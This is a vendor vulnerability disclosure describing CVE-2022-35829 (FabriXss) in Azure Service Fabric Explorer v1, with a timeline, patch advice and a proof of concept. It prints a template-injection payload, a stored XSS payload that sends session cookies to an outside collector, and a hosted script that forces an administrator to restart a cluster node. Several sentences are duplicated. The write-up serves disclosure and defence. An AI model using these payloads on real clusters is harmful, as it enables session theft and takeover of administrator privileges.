FabriXss (pronounced like ‘fabrics’) is a vulnerability discovered by the Orca Research Pod that resides in Azure Service Fabric Explorer (SFX), and allows an attacker to gain full Administrator permissions on the Service Fabric cluster. 

Orca Security immediately reported the vulnerability to the Microsoft Security Response Center (MSRC), who investigated the issue and designated it as CVE-2022-35829 with ‘Important’ severity. Microsoft released a fix and included it in the Microsoft October 2022 Patch Tuesday. We would like to thank Microsoft for the great co-operation and quick responses, and for working diligently to release a patch for the vulnerability

Who is Vulnerable?

If your organization uses Service Fabric Explorer (SFXv1) version 8.1.316 or earlier, then you are vulnerable to this CVE. You should apply the Microsoft October 2022 Patch Tuesday and check that the Service Fabric Explorer SFXv2 URL ends in “index.html” instead of the vulnerable “old.html” to make sure you are no longer affected.

What is the FabriXss Vulnerability?

The FabriXss vulnerability was found in Service Fabric Explorer (SFX), a tool for inspecting and managing Azure Service Fabric clusters. SFX can “host” many kinds of users in a shared dashboard. For example, a Fabric Cluster that is maintained and controlled by an Administrator from Organization X, can also offer services to its clients from the same organization. 

We found that a Deployer type user with a single permission to ‘Create new Applications’ via the dashboard, can use this single permission to create a malicious application name and abuse the Administrator permissions to perform various calls and actions. This includes performing a Cluster Node reset, which erases all customized settings such as passwords and security configurations, allowing an attacker to create new passwords and gain full Administrator permissions.

Timeline:

  • Orca reported the vulnerability to MSRC via MSRC VDP on August 11, 2022
  • MSRC reached back and started investigating the issue on August 16, 2022
  • MSRC worked towards removing the older version on September 1, 2022
  • Call with MSRC and Orca Team discussing the Vulnerability on September 6, 2022
  • MSRC assigned CVE-2022-35829 for the vulnerability on October 11, 2022
  • Fix was included in Microsoft October 2022 Patch Tuesday on October 11, 2022

What is Azure Service Fabric?

Microsoft Azure Service Fabric is a distributed systems platform for packaging, deploying, and managing stateless and stateful distributed applications and containers on a large scale. Service Fabric runs on Windows and Linux, on any cloud, any datacenter, across geographic regions, or on your laptop. 

Service Fabric Explorer (SFXv1)

Service Fabric Explorer (SFX) is an application for inspecting and managing cloud applications and Nodes in a Microsoft Azure Service Fabric cluster. As a shared dashboard for users with different privilege levels, Service Fabric Explorer contains several applications and services serving multiple purposes. A Cluster Administrator can create the cluster, manage applications, services, and deploy or restart various Nodes and applications. 

Currently, there are two versions of Service Fabric Explorer: 

Service Fabric Explorer (SFX) is an application for inspecting and managing cloud applications and Nodes in a Microsoft Azure Service Fabric cluster.

According to the MSRC team, all new development is focused on SFX v2 and unless it’s a critical bug with V1, V1 will no longer be updated (SFX v1 is in the process of being deprecated). Note that we found the FabriXss vulnerability in SFX version 1. The Vulnerable Parameter is the Deployment Name (more on that later on).

A Proof of Concept for the FabriXss Vulnerability

Below we describe how an attacker could potentially use the FabriXss vulnerability to gain full Administrator permissions.

Step 1 – Executing expressions via CSTI (Client Side Template Injection)

When creating new Application via the Dashboard UI (CreateComposeApplication role), a user is required to provide the following:

  1. Application Name.
  2. Upload a yml/yaml file OR adding a yml/yaml template manually.

When reviewing the code via the SFX Github repository, it seems that the user input is provided and rendered via the angularJS template. We can validate this by reviewing the following:

https://github1s.com/microsoft/service-fabric-explorer/blob/HEAD/src/Sfx/App/Scripts/Utils/Utils.ts#L112

When reviewing the code via the SFX Github repository, it seems that the user input is provided and rendered via the angularJS template.

Typically, when dealing with angularJS templates, we often try CSTI/SSTI payloads such as –

Typically, when dealing with angularJS templates, we often try CSTI/SSTI payloads.

But this is not the case here, as we can see from the following CSTI payload ”{{7*7}}”:

But this is not the case here, as we can see from the following CSTI payload ”{{7*7}}”:
An even more sophisticated payload such as “#{7*7}” is being rendered but is not being executed as an angularJS expression.

An even more sophisticated payload such as “#{7*7}” is being rendered but is not being executed as an angularJS expression. The first sign of any breakthrough comes when the “#{{7*7}}” payload is being sent and gets executed –

The first sign of any breakthrough comes when the “#{{7*7}}” payload is being sent and gets executed.
All applications dashboard.

We can see that the application name changed to –

We managed to execute a Template Expression via AngularJS.

Which indicates that we managed to execute a Template Expression via AngularJS.

To validate it, we can send the following payload as a PoC –

To validate it, we can send the following payload as a PoC.

But since the user input is being rejected when a “blank space” is entered, we will have to remove it. In addition, since the ‘$’ is also not accepted, we will HTML encode everything. Lastly, we will add ‘#’ to escape everything, and send the payload as the Application name –

#{{x = {'y':''.constructor.prototype}&#x3b; x['y'].charAt=[].join&#x3b;$eval('x=alert(1)')&#x3b;}}
We add ‘#’ to escape everything, and send the payload as the Application name.

We can see that the application is being created. We then click the refresh button on the upper right of the screen to refresh the list –

We then click the refresh button on the upper right of the screen to refresh the list.
Cluster message received from the input.

Step 2 – Breaking out of CSTI to Stored XSS

In order to break out of CSTI to XSS, we will need to see exactly how the application name is created and formatted. Focusing on our current Valid application (nginx), we can see that the “fabric:/” was appended to it like it should be.

Focusing on our current Valid application (nginx), we can see that the “fabric:/” was appended to it like it should be.
Since our Application name is set within the <a></a> tags, we can try and see what happens if we attempt to escape it by adding various html tags.

Since our Application name is set within the <a></a> tags, we can try and see what happens if we attempt to escape it by adding various html tags such as –

Adding various html tags.
We see from the screenshot, that we managed to escape from the angularJS class, and opened new <style></style> tags.

We see from the screenshot, that we managed to escape from the angularJS class, and opened a new <style></style> tags, where the content (although missing from the UI Application Name) but clearly is rendered in the html body.

The next step is to demonstrate it by sending a crafted payload such as –

The next step is to demonstrate it by sending a crafted payload.
Cluster message received from the input.

For example sending the following payload –

</a><img/src= '1'/onerror="this.src='http: \\/\\/owoenwi0y456m3olxn5j4zgzyq4m3as.oastify.com\\/?c='.concat(document.cookie);this.removeAttribute('onerror');">

Will get executed and we will receive the user’s current Session Cookies.

We found out that various payloads were stored and never removed from the Dashboard, this is inconsistent but worked several times.

Note on Stored XSS – We found out that various payloads were stored and never removed from the Dashboard, this is inconsistent but worked several times.

Step 3 – Leveraging the Stored XSS and Abusing the Custom Role (Deployer)

Since Service Fabric Explorer is shared, both Clients (Non-Admin Users) and Admins can access the dashboard at the same time. We will now demonstrate how a Node can be restarted using the cluster owner (Administrator) privileges.

By default, there are two permission levels in service fabric – Read Only and Admin. However, there is an option to modify the read only client permissions to create a custom user which is not an administrator but still able to perform specific tasks.

A common setup for shared Service Fabric, would be allowing various users (clients) to create applications via the Dashboard UI or sfctl tool. To do so we will set up the following configuration:

A common setup for shared Service Fabric, would be allowing various users (clients) to create applications via the Dashboard UI or sfctl tool.

In order to abuse the Stored XSS, we will create an application with the help of a Deployer user (Our Custom Client User). Next, we try to abuse the Administrator role in order to reset one of the Nodes.

Reviewing
https://github1s.com/microsoft/service-fabric-explorer/blob/HEAD/src/SfxWeb/src/app/services/rest-client.service.ts#L294

We can see that the API endpoint for resetting the Node should be similar to the following:

https://{EXPLORER_ENDPOINT}:19080/Nodes/_{Node_NAME}_{Node_ID}/$/Restart?api-version={API_VERSION}

Our payload will go through 2 steps –

  1. Sending a request for a hook file called fetch.html file from a remote server by implementing the payload via Iframe tag.
  2. Once the fetch.html file will be grabbed, it will send a fetch request to the Delete Node API Endpoint.

The “hook” will be a html with a fetch function –

┌──(root㉿kali)-[/var/www/html]
└─# cat fetch.html 
<script> 
fetch("[<https://privesc.eastus.cloudapp.azure.com:19080/Nodes/_Type375_0/$/
Restart?api-version=3.0>](<https://privesc.eastus.cloudapp.azure.com:19080/Nodes/_Type375_0/$/Restart?api-version=3.0>)",{ 
"headers": { 
"accept": "application/json, text/plain, */*", 
"content-type": "application/json;charset=UTF-8",
"sec-fetch-mode": "cors",
"sec-fetch-site": "same-origin",
"sfx-build": "[Dev]",
"sfx-version": "5.7",
"x-servicefabricclienttype": "SFX" 
},
"referrer":
[<https://privesc.eastus.cloudapp.azure.com:19080/Explorer/old.html>](<https://privesc.eastus.cloudapp.azure.com:19080/Explorer/old.html>)",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": "{\\"NodeInstanceId\\":\\"133045463907856590\\"}",
"method": "POST",
"mode": "no-cors",
"credentials": "include"
});
</script>

As seen from the above code, we will focus on the following Node id-

*133045463907856590 (*_TYPE375_0)

I launch an Apache server on my remote Kali machine and host fetch.html under /var/www/html/ before combining everything and sending our payload. The ngrok server will then be configured and mapped to our Apache 8080 Port.

For the purpose of providing an HTTPS endpoint rather than just an HTTP endpoint, we used both the ngrok and Apache servers (rather than just Apache). We will then review the API endpoint that is responsible for creating the application, so we can more easily send the payload and will not need to deal with encoding the Application name and escaping different characters.

https://github1s.com/microsoft/service-fabric-explorer/blob/HEAD/src/Sfx/App/Scripts/Controllers/AppsViewController.ts#L113

For the purpose of providing an HTTPS endpoint rather than just an HTTP endpoint, we used both the ngrok and Apache servers (rather than just Apache).
Github code: Compose deployments.

We will send a demo application just to verify the API Endpoint –

We will send a demo application just to verify the API Endpoint.
Compose new api endpoint, escape the name convention syntax.

Our Exploit Usage:

Our Exploit Usage
Now that the exploit is ready, all we need to do is test the payload with our current Deployer user (Batman).

Now that the exploit is ready, all we need to do is test the payload with our current Deployer user (Batman). I send the payload, and a few moments later press the small Refresh button within the Dashboard (Not the Browser Refresh). The “malicious” application will appear and our payload will be executed.

Now as we mentioned, since the Dashboard holds various types of users (Both Clients and Admin) we can show how the Stored XSS can be abused in this case.

Now as we mentioned, since the Dashboard holds various types of users (Both Clients and Admin) we can show how the Stored XSS can be abused in this case, by forcing the Administrator to reset one of the Cluster Nodes, using a crafted payload sent by our Deployer User (The Deployer User Custom role allows him to create an application).

The above explanation can be shown in the following screen recording –

About Orca Security

Orca Security is the industry-leading agentless Cloud Security Platform that identifies, prioritizes, and remediates risks and compliance issues across your cloud estate spanning AWS, Azure, Google Cloud and Kubernetes. Instead of layering multiple siloed tools together or deploying cumbersome agents, Orca delivers complete cloud security in a single platform by combining two revolutionary approaches: SideScanning, which enables frictionless and complete coverage without the need to maintain agents, and a Unified Data Model, which allows for centralized contextual analysis of your entire cloud estate.

Orca’s agentless platform connects to your environment in minutes and provides 100% visibility of all your assets, automatically including new assets as they are added. Orca detects and prioritizes cloud risks across every layer of your cloud estate, including vulnerabilities, malware, misconfigurations, lateral movement risk, API risks, weak and leaked passwords, and overly permissive identities.The Orca Research Pod has discovered several critical vulnerabilities in public cloud provider platforms, and continues to dig around different cloud products and services to find zero-day vulnerabilities before any malicious actors do.